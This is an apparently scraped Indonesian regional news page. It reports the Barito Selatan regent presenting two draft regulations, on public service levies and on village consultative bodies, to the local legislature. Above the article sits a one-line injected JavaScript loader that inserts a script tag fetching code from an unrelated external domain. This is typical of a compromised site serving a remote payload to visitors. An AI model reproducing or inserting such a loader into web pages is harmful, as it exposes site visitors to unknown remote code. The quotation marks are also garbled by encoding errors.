(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Bupati Barito Selatan (Barsel) Eddy Raya Samsuri menyampaikan dua Rancangan Peraturan Daerah (Raperda) tentang Retribusi dan Jasa Umum dan tentang Badan Permusyawaratan Desa (BPD).
Dua Raperda tersebut disampaikannya lewat sambutannya pada sidang pengantar Paripurna II masa Sidang II DPRD Barsel, di Aula DPRD setempat, Senin (27/5). Bupati mengatakan, Raperda Retribusi Jasa Umum merupakan pungutan daerah sebagai pembayaran atau pemberian izin tertentu yang disediakan atau diberi oleh Pemkab untuk kepentingan orang pribadi dan Badan.
Lebih lanjut oleh orang nomor satu di Pemkab Barsel itu, bahwa Pemkab telah membentuk Perda Nomor 4/2011 tentang retribusi jasa umum. Namun perda tersebut belum meningkatkan pendapatan daerah dari sektor retribusi. “Oleh karena itu kita melakukan perluasan jenis retribusi daerah dan penyesuaian tarif untuk meningkatkan PAD dari sektor retribusi jasa umum,†kata Eddy Raya.
Sedangkan raperda tentang BPD yang merupakan lembaga melaksanakan fungsi pemerintahan yang anggotanya merupakan wakil penduduk desa berdasarkan keterwakilan wilayah dan keterwakilan perempuan. “Karena BPD mempunyai tugas dan fungsi sangat penting dalam penyelenggaraan peemerintahan desa yakni membahas dan menyepakati rancangan peraturan desa bersama Kades,†ucap Eddy Raya.
Selain itu BPD juga tempat menampung dan menyalurkan aspirasi masyarakat desa dan melakukan pengawasan kinerja kepala Desa. “Kiranya lewat materi yang disampaikan pada rapat paripurna II masa sidang II ini dapat dikaji, dan pada gilirannya mendapat persetujuan bersama antara Pemerintah Kabupaten Barsel dengan DPRD setempat,†harap Eddy Raya.
Ditempat yang sama Wakil ketua II DPRD Barsel, Rayuhani menyampaikan, pihaknya akan memperlajari raperda yang disampaikan tersebut dan akan membahas bersama dengan pemkab Barsel.“Kita akan mempelajari dulu raperda yang ada dan akan segera membahas kembali bersama dengan Pemkab Barsel,†ucapnya singkat.(digdo)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.